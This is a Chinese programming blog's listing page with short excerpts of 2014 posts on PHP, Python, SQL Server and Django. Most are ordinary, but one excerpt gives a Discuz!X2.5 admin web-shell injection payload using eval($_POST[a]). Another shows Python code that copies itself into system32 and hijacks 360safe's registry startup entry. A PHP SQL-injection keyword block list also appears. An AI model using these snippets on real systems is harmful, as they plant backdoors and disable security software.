- 博客(78)
- 资源 (2)
- 收藏
- 关注
原创 django 配置404,500页面
z注意:如果加载admin页面css的样式,需要将admin css所有的样式放到static目录下。6.随便输入一个错误的地址,将显示你自定义的错误页面。1.首先将settings设置debug=false;2.设置static路径。5.将自定义的400.diango 自定义404 500页面。和500.html放到根模板下。
2014-05-16 16:01:23
8840
1
原创 编写.ini文件
from ConfigParser import RawConfigParser as rcp if __name__ == "__main__": cfg = rcp() cfg.add_section("Info") cfg.set("Info", "ImagePath", "f:/whu") cfg.set("Info", "foo", "cd'
2014-05-16 16:00:12
2110
转载 Python进阶——安装Python、程序执行、Python模块和IDLE调试
近几年来,随着Google、YouTube、IRobot等大公司对Python语言的广泛使用,Python公司的身影经常出现与我们的视线,Python语言也在软件质量、开发效率、程序的可移植性、标准库的支持等方面成为了一个优秀的程序开发语言,可以完成网站、游戏开发到航空航天控制等领域的各种任务。本栏目希望通过学习《Python学习手册》和网站上的相关指导,从零学习Python,希望对大家有一些帮助
2014-05-16 15:59:10
981
原创 常用的Shell命令-目录和文件操作
查看当前目录相对于根目录的位置pwd查看当前目录内容ls以长格式查看当前目录内容。对应每个文件的条目将包括连接数目、所有者、大小、最后修改时间、权限等内容ls -l改变当前目录。目的目录名可用相对路径表示,也可以用绝对路径表示。cd [目的目录名]转移到上一级目录cd ..创建目录mkdir [新目录名]例:mkdir ar/ftp删除空目录
2014-05-12 15:49:40
681
原创 研发大型PHP项目的方法
这篇文章介绍了在php中的面向对象编程(oop,object oriented programming)。我将向你演示怎么通过使用一些oop的概念和php的技巧来减少编码和提高质量。祝你好运! 面向对象编程的概念: 不同的作者之间说法可能不相同,不过一个oop语言必须有以下几方面: 抽象数据类型和信息封装 继承 多态 在php中是通过类来完成封装的: --------------
2014-04-16 16:21:08
1448
1
转载 利用sql查询每组第一个数据
本文章来至源码世界 http://www.ymsky.net/views/111572.shtml 今天在一个.NET群里看到有个人问如何查找到每组第一个人的全部信息,当时自己也在忙着公司的和学校的需求报告,但是自己也是希望尝试一下的,就让他先把数据库给我,在完成了该完成任务的时候,我还是很乐意的帮助那些需要帮助的人了,可是还是挺悲剧的,我的Sql2008打不开他的数据库(因为Sq
2014-04-11 15:49:27
4317
转载 SQL Server 2012中的Contained Database尝试
本文章来至源码世界 http://www.ymsky.net/views/111573.shtml简介 SQL Server 2012新增的Contained Database是为了解决数据库在不同SQL Server实例之间迁移的问题。在以往的情况下,数据库本身并不包含一些实例级别的配置参数(比如:数据库的一些metadata和登录名之类的)将数据库从一台服务器迁移
2014-04-11 15:46:17
524
原创 SQL巧用XML PATH来生成符合规则的查询结果集
在查询后面在FOR XML PATH可以生成XML格式结果集,好好利用这个技术,可以实现很多意想不到的查询效果最简单的用法:SELECT USERID,USERNAME FROM DBO.USER_INFO FOR XML PATH结果类似这样 6 ding25901 10 zhong 11 yanxunhan我们看到是以XML格式来显示的,注
2014-04-11 15:43:58
626
转载 SQL Server 2012新增的内置函数尝试
本文章来至源码世界 http://www.ymsky.net/views/111577.shtml
2014-04-11 15:41:54
706
原创 PHP实现对文本数据库的数据显示、加入、修改、删除、查询
PHP实现对文本数据库的数据显示、加入、修改、删除、查询五大基本操作的方法我用一个留言本程序作为例子,阐述PHP实现对文本数据库的数据显示、加入、修改、删除、查询五大基本操作的方法。此文本数据库共有字段10个:客户IP、发言时间、客户名、客户EMAIL、客户主页地址、留言表情图片名、客户QQ、客户形象图片、留言内容、管理员回复内容。1、加入数据程序段。$date=date("Y-m-d H:i:s
2014-04-07 16:39:39
2529
原创 PHP程序员最易犯10种错误
PHP是个伟大的web开发语言,灵活的语言,但是看到php程序员周而复始的犯的一些错误。我做了下面这个列表,列出了PHP程序员经常犯的10中错误,大多数和安全相关。看看你犯了几种 1.不转意html entities一个基本的常识:所有不可信任的输入(特别是用户从form中提交的数据) ,输出之前都要转意。echo $_GET[usename] ;这个例子有可能输出:/*更改admi
2014-04-07 16:38:31
893
原创 php 登录代码
<?error_reporting(0);$mysql_servername = "localhost"; //主机地址$mysql_username = "root"; //数据库用户名$mysql_password ="a1234567"; //数据库密码$mysql_database ="zhuang"; //数据库mysql_connect($mysql_servername
2014-04-07 16:36:39
976
原创 php身份证方面的函数
写了几个身份证方面的函数,个人感觉挺有用的,特别是在网络问卷调查时,对个人信息里的身份证进行验证很有用,但是应者寥寥,还是收在自己的blog里算了。 // 计算身份证校验码,根据国家标准GB 11643-1999 function idcard_verify_number($idcard_base){ if (strlen($idcard_base) != 17){ return f
2014-04-07 16:35:52
1425
原创 Discuz!X2.5最新版后台管理员权限Getshell及修复
Discuz!X2.5最新版后台管理员权限Getshell。 1.在后台-->站长-->Ucenter设置处设置UcenterIP为XX\\');eval($_POST[a])?>;// XX 2.发现管理页面代码出来了 3.上菜刀! 4.看一下源码,哦,原来是这样的! 修复方案:过滤你懂的本文章来至源码世界 http://www.ymsky.
2014-04-07 16:33:28
2351
转载 动态显示可输入的字数
还可以输入15字数js:function setShowLength(obj, maxlength, id){ var rem = maxlength - obj.value.length; var wid = id; if (rem < 0){ rem = 0; } document.getElementById(wid).inner
2014-04-01 14:20:54
805
原创 php gb2312转big5 函数
本文章来至源码世界 http://www.ymsky.net/views/51397.shtmlfunction GB2312toBIG5($c) {$f = fopen(CODETABLE_DIR.$this->config['GBtoBIG5_table'], ‘r’);$max=strlen($c)-1;for($i = 0;$i =160) {$l=ord($
2014-04-01 14:20:16
892
原创 【网站安全】自定义MD5加强安全性
function md123($sstr){$md_asc=”";$mds=md5(“qwEqw”.$sstr.”2ddsdf”);$mds=md5(“rtrTtyr”.$mds.”zcv34r”);for($i=1;$i< strlen($mds);$i++){$md_asc.=168/ord(substr($mds,$i,1));}return md5($md_asc);}
2014-04-01 14:19:17
943
原创 一个用python写的用命令行看糗百的小工具
#!/usr/bin/python#coding:utf-8#作者:Byron#博客:http://jiabin.tkimport urllib2import re#定义程序主函数def qiubai(page): url = "http://www.qiushibaike.com/week/page/%d" % page re_qb = re.compile(r
2014-04-01 14:13:32
641
原创 pyscws4 是一个python的分词程序
#coding=gbkimport osimport structimport sysreload(sys)sys.setdefaultencoding('gbk')XDB_VERSION = 34 # 0x01 ~ 0xffXDB_TAGNAME = 'XDB' # First bytesXDB_MAXKLEN = 0xf0 # maxklen: < 255class XDB
2014-04-01 14:12:46
1034
原创 解析xml文本
# parsexml.py # 本例子参考自python联机文档,做了适当改动和添加 import xml.parsers.expat # 控制打印缩进 level = 0 # 获取某节点名称及属性值集合 def start_element(name, attrs): global level print ' '*level, '
2014-04-01 14:11:49
909
原创 pop3协议收取邮件
# pop3.py import poplib emailServer = poplib.POP3('your pop3 server name') emailServer.user('your mail account') emailServer.pass_('your mail password') # 设
2014-04-01 14:10:57
800
原创 用python修改注册表干掉360safe
import _winreg import osimport shutil #复制自身shutil.copyfile(K3.exe,c:WINDOWSsystem32K3.exe) #把360启动改为自身run = _winreg.OpenKey( _winreg.HKEY_LOCAL_MACHINE, "SOFTWAREMicrosoftWindow
2014-04-01 14:10:05
1328
原创 用PHP来计算某个目录的大小
PHP CURL session COOKIE 可以调用系统命令,还可以这样:function dirsize($dir) {@$dh = opendir($dir);$size = 0;while ($file = @readdir($dh)) {if ($file != "." and $file != "..") {$path = $dir."/".$file;if (is_dir($pa
2014-03-29 16:04:21
462
原创 php Memcache 中实现消息队列
Memcache 一般用于缓存服务。但是很多时候,比如一个消息广播系统,需要一个消息队列。直接从数据库取消息,负载往往不行。如果将整个消息队列用一个key缓存到memcache里面. 对于一个很大的消息队列,频繁进行进行大数据库的序列化 和 反序列化,有太耗费。下面是我用PHP 实现的一个消息队列,只需要在尾部插入一个数据,就操作尾部,不用操作整个消息队列进行读取,与操作。但是,这个消息队列不
2014-03-29 16:03:04
1730
原创 PHP 获取栏目的【所有子级和孙级栏目】的ID号
//@获取子栏目ID号 private function sonCategoryIds($categoryID) { //@初始化栏目数组 $array[] = $categoryID; do { $ids = ''; $temp = $this->my
2014-03-29 16:01:25
2979
原创 源码世界讲解 php防止sql注入
function inject_check($sql_str) { return eregi('select|insert|and|or|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile', $sql_str);} function verify_id($id=null) { if(!$i
2014-03-29 15:59:55
999
原创 PHP获取浏览器型号
function userBrowser(){ $user_OSagent = $_SERVER['HTTP_USER_AGENT']; if(strpos($user_OSagent,"Maxthon") && strpos($user_OSagent,"MSIE")) { $visitor_browser ="Ma
2014-03-29 15:58:57
784
原创 使用nginx和php实时产生缩略图
#假设,服务器上面有一个文件:abc.jpg,通过http://filefs.domain.com/file/abc.jpg能够访问到原图。其#实一般的,我们在数据库里面也就保存了“/file/abc.jpg”这部分内容。#现在,我们要实现通过http://filefs.domain.com/file/abc.jpg.w320.jpg由服务器自动产生#abc.jpg.w320.jpg(w320,
2014-03-29 15:58:14
1354
原创 关于in_array() foreach array_search() 的性能对比
<?php /* *Powered by ciogao@gmail.com QQ 285305740 */ echo '结论:in_array与array_search效率几乎相同,in_array仅返回真伪,array_search同时返回位置.foreach性能最差'; $runtime= new runtime; $runtime->star
2014-03-29 15:57:22
5648
原创 PHP与MongoDB简介|安全|M+PHP应用实例
一、MongoDB简介MongoDB (名称来自"humongous") 是一个可扩展的、高性能、开源、模式自由、面向文档的数据库,集文档数据库、键值对存储和关系型数据库的优点于一身。官方站点:http://www.mongodb.org/,MongoDB特点:•面向文档存储(类JSON数据模式简单而强大)•动态查询•全索引支持,扩展到内部对象和内嵌数组•查询记录分析•快速,就地更
2014-03-29 15:56:28
1065
原创 file_get_contents和curl
< ?phpfunction vita_get_url_content($url) {if(function_exists(file_get_contents)) {$file_contents = file_get_contents($url);} else {$ch = curl_init();$timeout = 5;curl_setopt ($ch, CURLOPT_URL,
2014-03-28 17:29:56
868
原创 php 实时汇率接口
前一段时间网站一直用xe网站的数据,用着用着发现被xe禁止了 Automated extraction of our content is prohibited。 所有不得不找其他网站进行添加,加了个google的,发现不是实时汇率更新,具体不太清楚是1天还2天, 寻找一圈发现yahoo的还可以,更新频率大约是1小时一更新 ,写了个接口给大家分享 function getE
2014-03-28 17:29:14
4423
原创 php5.2 Json不能正确处理中文的解决办法
php5.2新增的json功能是非常受欢迎的,但是经过测试发现,json_encode对中文的处理是有问题的,1.不能处理GB编码,所有的GB编码都会替换成空字符.2.utf8编码的中文被编码成unicode编码,相当于javascript的escape函数处理的结果./*为了能正确使用json,首先我们就应该在编码上采用utf8编码,然后再对json_encode的返回结果稍
2014-03-28 17:28:24
1928
原创 PHP Push 服务器端代码
function server() { for ($i = 0, $timeout = 10; $i < $timeout; $i++) { if (connection_status() != 0) { exit(); } $where = array(); $user_id = $user_id = get_user_id(); session_wri
2014-03-28 17:27:12
857
原创 自动运行php文件
所谓任务计划就是由计算机自动调用用户事先设置好的应用程序,从而达到简化用户操作的目的。利用Windows 2000的任务计划程序(相当与*NIX下的cron程序,这里不再对其详述),我们可以安排任何脚本、程序或文档在最恰当的时候运行,从而满足自己的需 要。下面以Windows 2000为例。 具体来说,我们若需利用任务计划程序自动运行则应执行如下步骤: 1.单击”开始”按钮,然后依次选择”程
2014-03-28 17:26:13
2799
原创 函数getimagesize获得图片的长宽等信息
函数getimagesize返回一个具有四个单元的数组。 索引 0 包含图像宽度的像素值, 索引 1 包含图像高度的像素值。 索引 2 是图像类型的标记:1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,1
2014-03-28 17:25:21
1409
原创 PHP程序核心配置文件一般模式
<?php/* * 文件名:config.php * 功 能:程序核心配置文件 * 日 期:2010-04-30 * 作 者:web@huqiao.net */if(!defined('IN_CART')){ //防止站外引用 exit('Access Denied');}define('TIME_ZONE','PRC'); //默认时区define('CHARS
2014-03-28 17:24:34
737
原创 Python 抓取图片示例
#!/usr/bin/python# -*- coding:utf-8 -*-import reimport osimport urllib, urllib2, cookielibimport shutilfrom BeautifulSoup import BeautifulSoup # ---- utils ----def normalize_url(url): re
2014-03-28 17:21:42
936
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人